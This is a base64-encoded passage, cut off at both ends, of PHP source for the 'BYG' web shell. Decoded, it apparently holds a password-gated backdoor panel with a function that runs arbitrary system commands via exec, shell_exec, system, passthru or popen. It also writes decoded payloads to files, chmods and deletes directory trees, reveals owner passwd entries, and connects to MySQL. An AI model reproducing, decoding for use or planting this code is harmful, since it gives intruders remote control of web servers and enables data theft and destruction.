G9zdF9tYXhfc2l6ZScpKSwKCQkyMSA9PiBhcnJheSgndXBsb2FkX21heF9maWxlc2l6ZScsJHVwc2l6ZSksCgkJMjIgPT4gYXJyYXkoJ21heF9leGVjdXRpb25fdGltZScsZ2V0Y2ZnKCdtYXhfZXhlY3V0aW9uX3RpbWUnKS4nIHNlY29uZChzKScpLAoJCTIzID0+IGFycmF5KCdkaXNhYmxlX2Z1bmN0aW9ucycsJGRpc19mdW5jKSwKCSk7CgoJaWYoJHBocHZhcm5hbWUpIHsKCQltKCRwaHB2YXJuYW1lIC4nIDogJy5nZXRjZmcoJHBocHZhcm5hbWUpKTsKCX0KCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nU2VydmVyIGVudmlyb25tZW50JykpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ3BocGVudicpOwoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidQbGVhc2UgaW5wdXQgUEhQIGNvbmZpZ3VyYXRpb24gcGFyYW1ldGVyKGVnOm1hZ2ljX3F1b3Rlc19ncGMpJywnbmFtZSc9PidwaHB2YXJuYW1lJywndmFsdWUnPT4kcGhwdmFybmFtZSwnbmV3bGluZSc9PjEpKTsKCWZvcm1mb290ZXIoKTsKCgkkaHAgPSBhcnJheSgwPT4gJ1NlcnZlcicsIDE9PiAnUEhQJyk7Cglmb3IoJGE9MDskYTwyOyRhKyspIHsKCQlwKCc8aDI+Jy4kaHBbJGFdLicgJnJhcXVvOzwvaDI+Jyk7CgkJcCgnPHVsIGNsYXNzPSJpbmZvIj4nKTsKCQlpZiAoJGE9PTApIHsKCQkJZm9yKCRpPTE7JGk8PTk7JGkrKykgewoJCQkJcCgnPGxpPjx1PicuJGluZm9bJGldWzBdLic6PC91PicuJGluZm9bJGldWzFdLic8L2xpPicpOwoJCQl9CgkJfSBlbHNlaWYgKCRhID09IDEpIHsKCQkJZm9yKCRpPTEwOyRpPD0yMzskaSsrKSB7CgkJCQlwKCc8bGk+PHU+Jy4kaW5mb1skaV1bMF0uJzo8L3U+Jy4kaW5mb1skaV1bMV0uJzwvbGk+Jyk7CgkJCX0KCQl9CgkJcCgnPC91bD4nKTsKCX0KfS8vZW5kIHBocGVudgoKZWxzZSB7CgltKCdVbmRlZmluZWQgQWN0aW9uJyk7Cn0KCj8+CjwvdGQ+PC90cj48L3RhYmxlPgo8ZGl2IHN0eWxlPSJwYWRkaW5nOjEwcHg7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzBFMEUwRTtib3JkZXItdG9wOjFweCBzb2xpZCAjMEUwRTBFO2JhY2tncm91bmQ6IzBFMEUwRTsiPgoJPHNwYW4gc3R5bGU9ImZsb2F0OnJpZ2h0OyI+PD9waHAgZGVidWdpbmZvKCk7b2JfZW5kX2ZsdXNoKCk7Pz48L3NwYW4+CglDb3B5cmlnaHQgKEMpIDIwMDQtMjAxMCA8Qj48L0I+IC0gRGV2ZWxvcCBieSA8YSBocmVmPWh0dHA6Ly9iZXlldWdyb3VwLmNvbSB0YXJnZXQ9X2JsYW5rPjxCPkJZRyAgIDwvQj48L2E+IC0gPEI+LSBUaGUgTGVnZW5kIG9mIFZpZXRuYW1lc2UgSGFja2VyIFdvcmxkPC9CPiBBbGwgUmlnaHRzIFJlc2VydmVkLgo8L2Rpdj4KPC9ib2R5Pgo8L2h0bWw+Cgo8P3BocAoKLyo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KU2hvdyBpbmZvIHNoZWxsCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSovCgpmdW5jdGlvbiBtKCRtc2cpIHsKCWVjaG8gJzxkaXYgc3R5bGU9ImJhY2tncm91bmQ6I2YxZjFmMTtib3JkZXI6MXB4IHNvbGlkICNkZGQ7cGFkZGluZzoxNXB4O2ZvbnQ6MTRweDt0ZXh0LWFsaWduOmNlbnRlcjtmb250LXdlaWdodDpib2xkOyI+JzsKCWVjaG8gJG1zZzsKCWVjaG8gJzwvZGl2Pic7Cn0KZnVuY3Rpb24gc2Nvb2tpZSgka2V5LCAkdmFsdWUsICRsaWZlID0gMCwgJHByZWZpeCA9IDEpIHsKCWdsb2JhbCAkYWRtaW4sICR0aW1lc3RhbXAsICRfU0VSVkVSOwoJJGtleSA9ICgkcHJlZml4ID8gJGFkbWluWydjb29raWVwcmUnXSA6ICcnKS4ka2V5OwoJJGxpZmUgPSAkbGlmZSA/ICRsaWZlIDogJGFkbWluWydjb29raWVsaWZlJ107CgkkdXNlcG9ydCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddID09IDQ0MyA/IDEgOiAwOwoJc2V0Y29va2llKCRrZXksICR2YWx1ZSwgJHRpbWVzdGFtcCskbGlmZSwgJGFkbWluWydjb29raWVwYXRoJ10sICRhZG1pblsnY29va2llZG9tYWluJ10sICR1c2Vwb3J0KTsKfQpmdW5jdGlvbiBtdWx0aSgkbnVtLCAkcGVycGFnZSwgJGN1cnBhZ2UsICR0YWJsZW5hbWUpIHsKCSRtdWx0aXBhZ2UgPSAnJzsKCWlmKCRudW0gPiAkcGVycGFnZSkgewoJCSRwYWdlID0gMTA7CgkJJG9mZnNldCA9IDU7CgkJJHBhZ2VzID0gQGNlaWwoJG51bSAvICRwZXJwYWdlKTsKCQlpZigkcGFnZSA+ICRwYWdlcykgewoJCQkkZnJvbSA9IDE7CgkJCSR0byA9ICRwYWdlczsKCQl9IGVsc2UgewoJCQkkZnJvbSA9ICRjdXJwYWdlIC0gJG9mZnNldDsKCQkJJHRvID0gJGN1cnBhZ2UgKyAkcGFnZSAtICRvZmZzZXQgLSAxOwoJCQlpZigkZnJvbSA8IDEpIHsKCQkJCSR0byA9ICRjdXJwYWdlICsgMSAtICRmcm9tOwoJCQkJJGZyb20gPSAxOwoJCQkJaWYoKCR0byAtICRmcm9tKSA8ICRwYWdlICYmICgkdG8gLSAkZnJvbSkgPCAkcGFnZXMpIHsKCQkJCQkkdG8gPSAkcGFnZTsKCQkJCX0KCQkJfSBlbHNlaWYoJHRvID4gJHBhZ2VzKSB7CgkJCQkkZnJvbSA9ICRjdXJwYWdlIC0gJHBhZ2VzICsgJHRvOwoJCQkJJHRvID0gJHBhZ2VzOwoJCQkJaWYoKCR0byAtICRmcm9tKSA8ICRwYWdlICYmICgkdG8gLSAkZnJvbSkgPCAkcGFnZXMpIHsKCQkJCQkkZnJvbSA9ICRwYWdlcyAtICRwYWdlICsgMTsKCQkJCX0KCQkJfQoJCX0KCQkkbXVsdGlwYWdlID0gKCRjdXJwYWdlIC0gJG9mZnNldCA+IDEgJiYgJHBhZ2VzID4gJHBhZ2UgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsIDEpOyI+Rmlyc3Q8L2E+ICcgOiAnJykuKCRjdXJwYWdlID4gMSA/ICc8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgJy4oJGN1cnBhZ2UgLSAxKS4nKTsiPlByZXY8L2E+ICcgOiAnJyk7CgkJZm9yKCRpID0gJGZyb207ICRpIDw9ICR0bzsgJGkrKykgewoJCQkkbXVsdGlwYWdlIC49ICRpID09ICRjdXJwYWdlID8gJGkuJyAnIDogJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLiRpLicpOyI+WycuJGkuJ108L2E+ICc7CgkJfQoJCSRtdWx0aXBhZ2UgLj0gKCRjdXJwYWdlIDwgJHBhZ2VzID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLigkY3VycGFnZSArIDEpLicpOyI+TmV4dDwvYT4nIDogJycpLigkdG8gPCAkcGFnZXMgPyAnIDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLiRwYWdlcy4nKTsiPkxhc3Q8L2E+JyA6ICcnKTsKCQkkbXVsdGlwYWdlID0gJG11bHRpcGFnZSA/ICc8cD5QYWdlczogJy4kbXVsdGlwYWdlLic8L3A+JyA6ICcnOwoJfQoJcmV0dXJuICRtdWx0aXBhZ2U7Cn0KLy8gTG9naW4gcGFnZQpmdW5jdGlvbiBsb2dpbnBhZ2UoKSB7Cj8+CjxodG1sPgo8aGVhZD4KCjxib2R5IGJnY29sb3I9YmxhY2sgYmFja2dyb3VuZD0xLmpwZz4KCgkJPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiIC8+Cjx0aXRsZT5CWUcgLSBUaGUgTGVnZW5kIG9mIFZpZXRuYW1lc2UgSGFja2VyIFdvcmxkIDwvdGl0bGU+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CkE6bGluayB7dGV4dC1kZWNvcmF0aW9uOiBub25lOyBjb2xvcjogZ3JlZW4gfQpBOnZpc2l0ZWQge3RleHQtZGVjb3JhdGlvbjogbm9uZTtjb2xvcjpyZWR9CkE6YWN0aXZlIHt0ZXh0LWRlY29yYXRpb246IG5vbmV9CkE6aG92ZXIge3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyBjb2xvcjogZ3JlZW47fQppbnB1dCwgdGV4dGFyZWEsIGJ1dHRvbgp7Cglmb250LXNpemU6IDExcHQ7Cgljb2xvcjogCSNGRkZGRkY7Cglmb250LWZhbWlseTogdmVyZGFuYSwgc2Fucy1zZXJpZjsKCWJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7Cglib3JkZXItbGVmdDogMnB4IGRhc2hlZCAjOEIwMDAwOwoJYm9yZGVyLXRvcDogMnB4IGRhc2hlZCAjOEIwMDAwOwoJYm9yZGVyLXJpZ2h0OiAycHggZGFzaGVkICM4QjAwMDA7Cglib3JkZXItYm90dG9tOiAycHggZGFzaGVkICM4QjAwMDA7Cn0KCjwvc3R5bGU+CgogICAgICAgPEJSPjxCUj4KPGRpdiBhbGlnbj1jZW50ZXIgPgoKPGRpdj4KPGZvbnQgY29sb3I9Z3JheT4KPGJyIC8+PGJyIC8+PGJyIC8+PGJyIC8+PGJyIC8+Cgo8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iIj4KCTxzcGFuIHN0eWxlPSJmb250OjIwcHQgdGFob21hOyI+IDwvc3Bhbj48aW5wdXQgbmFtZT0icGFzc3dvcmQiIHR5cGU9InBhc3N3b3JkIiBzaXplPSIzMCI+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkb2luZyIgdmFsdWU9ImxvZ2luIj4KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMb2dpbiI+Cgk8L2Zvcm0+CjxCUj4KPD9waHAKZWNobyAiIi4kZXJyX21lc3MuIiI7Cj8+CgoJPEI+PGZvbnQgY29sb3I9cmVkPgoKCgoKCgo8L2Rpdj4KCgoJPC9maWVsZHNldD4KCgoKPC9oZWFkPgo8L2h0bWw+CgoKPD9waHAKCWV4aXQ7Cgp9Ly9lbmQgbG9naW5wYWdlKCkKCmZ1bmN0aW9uIGV4ZWN1dGUoJGNmZSkgewoJJHJlcyA9ICcnOwoJaWYgKCRjZmUpIHsKCQlpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgewoJCQlAZXhlYygkY2ZlLCRyZXMpOwoJCQkkcmVzID0gam9pbigiXG4iLCRyZXMpOwoJCX0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7CgkJCSRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsKCQl9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7CgkJCUBvYl9zdGFydCgpOwoJCQlAc3lzdGVtKCRjZmUpOwoJCQkkcmVzID0gQG9iX2dldF9jb250ZW50cygpOwoJCQlAb2JfZW5kX2NsZWFuKCk7CgkJfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7CgkJCUBvYl9zdGFydCgpOwoJCQlAcGFzc3RocnUoJGNmZSk7CgkJCSRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CgkJCUBvYl9lbmRfY2xlYW4oKTsKCQl9IGVsc2VpZihAaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGNmZSwiciIpKSkgewoJCQkkcmVzID0gJyc7CgkJCXdoaWxlKCFAZmVvZigkZikpIHsKCQkJCSRyZXMgLj0gQGZyZWFkKCRmLDEwMjQpOwoJCQl9CgkJCUBwY2xvc2UoJGYpOwoJCX0KCX0KCXJldHVybiAkcmVzOwp9CmZ1bmN0aW9uIHdoaWNoKCRwcikgewoJJHBhdGggPSBleGVjdXRlKCJ3aGljaCAkcHIiKTsKCXJldHVybiAoJHBhdGggPyAkcGF0aCA6ICRwcik7Cn0KCmZ1bmN0aW9uIGNmKCRmbmFtZSwkdGV4dCl7CglpZigkZnA9QGZvcGVuKCRmbmFtZSwndycpKSB7CgkJQGZwdXRzKCRmcCxAYmFzZTY0X2RlY29kZSgkdGV4dCkpOwoJCUBmY2xvc2UoJGZwKTsKCX0KfQoKLy8gRGVidWcKZnVuY3Rpb24gZGVidWdpbmZvKCkgewoJZ2xvYmFsICRzdGFydHRpbWU7CgkkbXRpbWUgPSBleHBsb2RlKCcgJywgbWljcm90aW1lKCkpOwoJJHRvdGFsdGltZSA9IG51bWJlcl9mb3JtYXQoKCRtdGltZVsxXSArICRtdGltZVswXSAtICRzdGFydHRpbWUpLCA2KTsKCWVjaG8gJ1Byb2Nlc3NlZCBpbiAnLiR0b3RhbHRpbWUuJyBzZWNvbmQocyknOwp9CgovLyBGdW5jdGlvbiBjb25uZWN0IGRhdGFiYXNlCmZ1bmN0aW9uIGRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lPScnLCRjaGFyc2V0PScnLCRkYnBvcnQ9JzMzMDYnKSB7CglpZighJGxpbmsgPSBAbXlzcWxfY29ubmVjdCgkZGJob3N0Lic6Jy4kZGJwb3J0LCAkZGJ1c2VyLCAkZGJwYXNzKSkgewoJCXAoJzxoMj5DYW4gbm90IGNvbm5lY3QgdG8gTXlTUUwgc2VydmVyPC9oMj4nKTsKCQlleGl0OwoJfQoJaWYoJGxpbmsgJiYgJGRibmFtZSkgewoJCWlmICghQG15c3FsX3NlbGVjdF9kYigkZGJuYW1lLCAkbGluaykpIHsKCQkJcCgnPGgyPkRhdGFiYXNlIHNlbGVjdGVkIGhhcyBlcnJvcjwvaDI+Jyk7CgkJCWV4aXQ7CgkJfQoJfQoJaWYoJGxpbmsgJiYgbXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCkgPiAnNC4xJykgewoJCWlmKGluX2FycmF5KHN0cnRvbG93ZXIoJGNoYXJzZXQpLCBhcnJheSgnZ2JrJywgJ2JpZzUnLCAndXRmOCcpKSkgewoJCQlxKCJTRVQgY2hhcmFjdGVyX3NldF9jb25uZWN0aW9uPSRjaGFyc2V0LCBjaGFyYWN0ZXJfc2V0X3Jlc3VsdHM9JGNoYXJzZXQsIGNoYXJhY3Rlcl9zZXRfY2xpZW50PWJpbmFyeTsiLCAkbGluayk7CgkJfQoJfQoJcmV0dXJuICRsaW5rOwp9CgovLyBBcnJheSBzdHJpcApmdW5jdGlvbiBzX2FycmF5KCYkYXJyYXkpIHsKCWlmIChpc19hcnJheSgkYXJyYXkpKSB7CgkJZm9yZWFjaCAoJGFycmF5IGFzICRrID0+ICR2KSB7CgkJCSRhcnJheVska10gPSBzX2FycmF5KCR2KTsKCQl9Cgl9IGVsc2UgaWYgKGlzX3N0cmluZygkYXJyYXkpKSB7CgkJJGFycmF5ID0gc3RyaXBzbGFzaGVzKCRhcnJheSk7Cgl9CglyZXR1cm4gJGFycmF5Owp9CgovLyBIVE1MIFN0cmlwCmZ1bmN0aW9uIGh0bWxfY2xlYW4oJGNvbnRlbnQpIHsKCSRjb250ZW50ID0gaHRtbHNwZWNpYWxjaGFycygkY29udGVudCk7CgkkY29udGVudCA9IHN0cl9yZXBsYWNlKCJcbiIsICI8YnIgLz4iLCAkY29udGVudCk7CgkkY29udGVudCA9IHN0cl9yZXBsYWNlKCIgICIsICImbmJzcDsmbmJzcDsiLCAkY29udGVudCk7CgkkY29udGVudCA9IHN0cl9yZXBsYWNlKCJcdCIsICImbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiLCAkY29udGVudCk7CglyZXR1cm4gJGNvbnRlbnQ7Cn0KCi8vIENobW9kCmZ1bmN0aW9uIGdldENobW9kKCRmaWxlcGF0aCl7CglyZXR1cm4gc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRmaWxlcGF0aCksMTAsOCksLTQpOwp9CgpmdW5jdGlvbiBnZXRQZXJtcygkZmlsZXBhdGgpIHsKCSRtb2RlID0gQGZpbGVwZXJtcygkZmlsZXBhdGgpOwoJaWYgKCgkbW9kZSAmIDB4QzAwMCkgPT09IDB4QzAwMCkgeyR0eXBlID0gJ3MnO30KCWVsc2VpZiAoKCRtb2RlICYgMHg0MDAwKSA9PT0gMHg0MDAwKSB7JHR5cGUgPSAnZCc7fQoJZWxzZWlmICgoJG1vZGUgJiAweEEwMDApID09PSAweEEwMDApIHskdHlwZSA9ICdsJzt9CgllbHNlaWYgKCgkbW9kZSAmIDB4ODAwMCkgPT09IDB4ODAwMCkgeyR0eXBlID0gJy0nO30KCWVsc2VpZiAoKCRtb2RlICYgMHg2MDAwKSA9PT0gMHg2MDAwKSB7JHR5cGUgPSAnYic7fQoJZWxzZWlmICgoJG1vZGUgJiAweDIwMDApID09PSAweDIwMDApIHskdHlwZSA9ICdjJzt9CgllbHNlaWYgKCgkbW9kZSAmIDB4MTAwMCkgPT09IDB4MTAwMCkgeyR0eXBlID0gJ3AnO30KCWVsc2UgeyR0eXBlID0gJz8nO30KCgkkb3duZXJbJ3JlYWQnXSA9ICgkbW9kZSAmIDAwNDAwKSA/ICdyJyA6ICctJzsKCSRvd25lclsnd3JpdGUnXSA9ICgkbW9kZSAmIDAwMjAwKSA/ICd3JyA6ICctJzsKCSRvd25lclsnZXhlY3V0ZSddID0gKCRtb2RlICYgMDAxMDApID8gJ3gnIDogJy0nOwoJJGdyb3VwWydyZWFkJ10gPSAoJG1vZGUgJiAwMDA0MCkgPyAncicgOiAnLSc7CgkkZ3JvdXBbJ3dyaXRlJ10gPSAoJG1vZGUgJiAwMDAyMCkgPyAndycgOiAnLSc7CgkkZ3JvdXBbJ2V4ZWN1dGUnXSA9ICgkbW9kZSAmIDAwMDEwKSA/ICd4JyA6ICctJzsKCSR3b3JsZFsncmVhZCddID0gKCRtb2RlICYgMDAwMDQpID8gJ3InIDogJy0nOwoJJHdvcmxkWyd3cml0ZSddID0gKCRtb2RlICYgMDAwMDIpID8gJ3cnIDogJy0nOwoJJHdvcmxkWydleGVjdXRlJ10gPSAoJG1vZGUgJiAwMDAwMSkgPyAneCcgOiAnLSc7CgoJaWYoICRtb2RlICYgMHg4MDAgKSB7JG93bmVyWydleGVjdXRlJ10gPSAoJG93bmVyWydleGVjdXRlJ109PSd4JykgPyAncycgOiAnUyc7fQoJaWYoICRtb2RlICYgMHg0MDAgKSB7JGdyb3VwWydleGVjdXRlJ10gPSAoJGdyb3VwWydleGVjdXRlJ109PSd4JykgPyAncycgOiAnUyc7fQoJaWYoICRtb2RlICYgMHgyMDAgKSB7JHdvcmxkWydleGVjdXRlJ10gPSAoJHdvcmxkWydleGVjdXRlJ109PSd4JykgPyAndCcgOiAnVCc7fQoKCXJldHVybiAkdHlwZS4kb3duZXJbJ3JlYWQnXS4kb3duZXJbJ3dyaXRlJ10uJG93bmVyWydleGVjdXRlJ10uJGdyb3VwWydyZWFkJ10uJGdyb3VwWyd3cml0ZSddLiRncm91cFsnZXhlY3V0ZSddLiR3b3JsZFsncmVhZCddLiR3b3JsZFsnd3JpdGUnXS4kd29ybGRbJ2V4ZWN1dGUnXTsKfQoKZnVuY3Rpb24gZ2V0VXNlcigkZmlsZXBhdGgpCXsKCWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykpIHsKCQkkYXJyYXkgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZmlsZXBhdGgpKTsKCQlpZiAoJGFycmF5ICYmIGlzX2FycmF5KCRhcnJheSkpIHsKCQkJcmV0dXJuICcgLyA8YSBocmVmPSIjIiB0aXRsZT0iVXNlcjogJy4kYXJyYXlbJ25hbWUnXS4nJiMxMyYjMTBQYXNzd2Q6ICcuJGFycmF5WydwYXNzd2QnXS4nJiMxMyYjMTBVaWQ6ICcuJGFycmF5Wyd1aWQnXS4nJiMxMyYjMTBnaWQ6ICcuJGFycmF5WydnaWQnXS4nJiMxMyYjMTBHZWNvczogJy4kYXJyYXlbJ2dlY29zJ10uJyYjMTMmIzEwRGlyOiAnLiRhcnJheVsnZGlyJ10uJyYjMTMmIzEwU2hlbGw6ICcuJGFycmF5WydzaGVsbCddLiciPicuJGFycmF5WyduYW1lJ10uJzwvYT4nOwoJCX0KCX0KCXJldHVybiAnJzsKfQoKLy8gRGVsZXRlIGRpcgpmdW5jdGlvbiBkZWx0cmVlKCRkZWxkaXIpIHsKCSRteWRpcj1AZGlyKCRkZWxkaXIpOwoJd2hpbGUoJGZpbGU9JG15ZGlyLT5yZWFkKCkpCXsKCQlpZigoaXNfZGlyKCRkZWxkaXIuJy8nLiRmaWxlKSkgJiYgKCRmaWxlIT0nLicpICYmICgkZmlsZSE9Jy4uJykpIHsKCQkJQGNobW9kKCRkZWxkaXIuJy8nLiRmaWxlLDA3NzcpOwoJCQlkZWx0cmVlKCRkZWxkaXIuJy8nLiRmaWxlKTsKCQl9CgkJaWYgKGlzX2ZpbGUoJGRlbGRpci4nLycuJGZpbGUpKSB7CgkJCUBjaG1vZCgkZGVsZGlyLicvJy4kZmlsZSwwNzc3KTsKCQkJQHVubGluaygkZGVsZGlyLicvJy4kZmlsZSk7CgkJfQoJfQoJJG15ZGlyLT5jbG9zZSgpOwoJQGNobW9kKCRkZWxkaXIsMDc3Nyk7CglyZXR1cm4gQHJtZGlyKCRkZWxkaXIpID8gMSA6IDA7Cn0KCi8vIEJhY2tncm91bmQKZnVuY3Rpb24gYmcoKSB7CglnbG9iYWwgJGJnYzsKCXJldHVybiAoJGJnYysrJTI9PTApID8gJ2FsdDEnIDogJ2FsdDInOwp9CgovLyBHZXQgcGF0aApmdW5jdGlvbiBnZXRQYXRoKCRzY3JpcHRwYXRoLCAkbm93cGF0aCkgewoJaWYgKCRub3dwYXRoID09ICcuJykgewoJCSRub3dwYXRoID0gJHNjcmlwdHBhdGg7Cgl9Cgkkbm93cGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJG5vd3BhdGgpOwoJJG5vd3BhdGggPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICRub3dwYXRoKTsKCWlmIChzdWJzdHIoJG5vd3BhdGgsIC0xKSAhPSAnLycpIHsKCQkkbm93cGF0aCA9ICRub3dwYXRoLicvJzsKCX0KCXJldHVybiAkbm93cGF0aDsKfQoKLy8gR2V0IHVwIHBhdGgKZnVuY3Rpb24gZ2V0VXBQYXRoKCRub3dwYXRoKSB7CgkkcGF0aGRiID0gZXhwbG9kZSgnLycsICRub3dwYXRoKTsKCSRudW0gPSBjb3VudCgkcGF0aGRiKTsKCWlmICgkbnVtID4gMikgewoJCXVuc2V0KCRwYXRoZGJbJG51bS0xXSwkcGF0aGRiWyRudW0tMl0pOwoJfQoJJHVwcGF0aCA9IGltcGxvZGUoJy8nLCAkcGF0aGRiKS4nLyc7CgkkdXBwYXRoID0gc3RyX3JlcGxhY2UoJy8vJywgJy8nLCAkdXBwYXRoKTsKCXJldHVybiAkdXBwYXRoOwp9CgovLyBDb25maWcKZnVuY3Rpb24gZ2V0Y2ZnKCR2YXJuYW1lKSB7CgkkcmVzdWx0ID0gZ2V0X2NmZ192YXIoJHZhcm5hbWUpOwoJaWYgKCRyZXN1bHQgPT0gMCkgewoJCXJldHVybiAnTm8nOwoJfSBlbHNlaWYgKCRyZXN1bHQgPT0gMSkgewoJCXJldHVybiAnWWVzJzsKCX0gZWxzZSB7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9Cn0KCi8vIEZ1bmN0aW9uIG5hbWUKZnVuY3Rpb24gZ2V0ZnVuKCRmdW5OYW1lKSB7CglyZXR1cm4gKGZhbHNlICE9PSBmdW5jdGlvbl9leGlzdHMoJGZ1bk5hbWUpKSA/ICdZZXMnIDogJ05vJzsKfQoKZnVuY3Rpb24gR2V0TGlzdCgkZGlyKXsKCWdsb2JhbCAkZGlyZGF0YSwkaiwkbm93cGF0aDsKCSEkaiAmJiAkaj0xOwoJaWYgKCRkaCA9IG9wZW5kaXIoJGRpcikpIHsKCQl3aGlsZSAoJGZpbGUgPSByZWFkZGlyKCRkaCkpIHsKCQkJJGY9c3RyX3JlcGxhY2UoJy8vJywnLycsJGRpci4nLycuJGZpbGUpOwoJCQlpZigkZmlsZSE9Jy4nICYmICRmaWxlIT0nLi4nICYmIGlzX2RpcigkZikpewoJCQkJaWYgKGlzX3dyaXRhYmxlKCRmKSkgewoJCQkJCSRkaXJkYXRhWyRqXVsnZmlsZW5hbWUnXT1zdHJfcmVwbGFjZSgkbm93cGF0aCwnJywkZik7CgkJCQkJJGRpcmRhdGFbJGpdWydtdGltZSddPUBkYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRmKSk7CgkJCQkJJGRpcmRhdGFbJGpdWydkaXJjaG1vZCddPWdldENobW9kKCRmKTsKCQkJCQkkZGlyZGF0YVskal1bJ2RpcnBlcm0nXT1nZXRQZXJtcygkZik7CgkJCQkJJGRpcmRhdGFbJGpdWydkaXJsaW5rJ109dWUoJGRpcik7CgkJCQkJJGRpcmRhdGFbJGpdWydzZXJ2ZXJfbGluayddPSRmOwoJCQkJCSRkaXJkYXRhWyRqXVsnY2xpZW50X2xpbmsnXT11ZSgkZik7CgkJCQkJJGorKzsKCQkJCX0KCQkJCUdldExpc3QoJGYpOwoJCQl9CgkJfQoJCWNsb3NlZGlyKCRkaCk7CgkJY2xlYXJzdGF0Y2FjaGUoKTsKCQlyZXR1cm4gJGRpcmRhdGE7Cgl9IGVsc2UgewoJCXJldHVybiBhcnJheSgpOwoJfQp9CgpmdW5jdGlvbiBxeSgkc3FsKSB7CgkvL2VjaG8gJHNxbC4nPGJyPic7CgkkcmVzID0gJGVycm9yID0gJyc7CglpZighJHJlcyA9IEBteXNxbF9xdWVyeSgkc3FsKSkgewoJCXJldHVybiAwOwoJfSBlbHNlIGlmKGlzX3Jlc291cmNlKCRyZXMpKSB7CgkJcmV0dXJuIDE7Cgl9IGVsc2UgewoJCXJldHVybiAyOwoJfQoJcmV0dXJuIDA7Cn0KCmZ1bmN0aW9uIHEoJHNxbCkgewoJcmV0dXJuIEBteXNxbF9xdWVyeSgkc3FsKTsKfQoKZnVuY3Rpb24gZnIoJHF5KXsKCW15c3FsX2ZyZWVfcmVzdWx0KCRxeSk7Cn0KCmZ1bmN0aW9uIHNpemVjb3VudCgkc2l6ZSkgewoJaWYoJHNpemUgPiAxMDczNzQxODI0KSB7CgkJJHNpemUgPSByb3VuZCgkc2l6ZSAvIDEwNzM3NDE4MjQgKiAxMDApIC8gMTAwIC4gJyBHJzsKCX0gZWxzZWlmKCRzaXplID4gMTA0ODU3NikgewoJCSRzaXplID0gcm91bmQoJHNpemUgLyAxMDQ4NTc2ICogMTAwKSAvIDEwMCAuICcgTSc7Cgl9IGVsc2VpZigkc2l6ZSA+IDEwMjQpIHsKCQkkc2l6ZSA9IHJvdW5kKCRzaXplIC8gMTAyNCAqIDEwMCkgLyAxMDAgLiAnIEsnOwoJfSBlbHNlIHsKCQkkc2l6ZSA9ICRzaXplIC4gJyBCJzsKCX0KCXJldHVybiAkc2l6ZTsKfQoKLy8gWmlwCmNsYXNzIFBIUFppcHsKCXZhciAkb3V0PScnOwoJZnVuY3Rpb24gUEhQWmlwKCRkaXIpCXsKCQlpZiAoQGZ1bmN0aW9uX2V4aXN0cygnZ3pjb21wcmVzcycpKQl7CgkJCSRjdXJkaXIgPSBnZXRjd2QoKTsKCQkJaWYgKGlzX2FycmF5KCRkaXIpKSAkZmlsZWxpc3QgPSAkZGlyOwoJCQllbHNlewoJCQkJJGZpbGVsaXN0PSR0aGlzIC0+IEdldEZpbGVMaXN0KCRkaXIpOy8vRmlsZSBsaXN0CgkJCQlmb3JlYWNoKCRmaWxlbGlzdCBhcyAkaz0+JHYpICRmaWxlbGlzdFtdPXN1YnN0cigkdixzdHJsZW4oJGRpcikrMSk7CgkJCX0KCQkJaWYgKCghZW1wdHkoJGRpcikpJiYoIWlzX2FycmF5KCRkaXIpKSYmKGZpbGVfZXhpc3RzKCRkaXIpKSkgY2hkaXIoJGRpcik7CgkJCWVsc2UgY2hkaXIoJGN1cmRpcik7CgkJCWlmIChjb3VudCgkZmlsZWxpc3QpPjApewoJCQkJZm9yZWFjaCgkZmlsZWxpc3QgYXMgJGZpbGVuYW1lKXsKCQkJCQlpZiAoaXNfZmlsZSgkZmlsZW5hbWUpKXsKCQkJCQkJJGZkID0gZm9wZW4gKCRmaWxlbmFtZSwgJ3InKTsKCQkJCQkJJGNv